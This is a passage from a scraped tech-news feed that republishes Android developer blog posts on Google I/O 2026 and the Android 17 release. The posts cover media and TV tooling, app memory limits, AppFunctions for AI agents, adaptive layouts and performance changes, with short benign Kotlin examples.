  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
</div>

<div class="separator">
  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
    <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s16000/MM_Differentiated-Experiences_Blog%20(1).png">
  </a>
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

<div class="separator">
  
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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

<div class="separator">
  
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<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
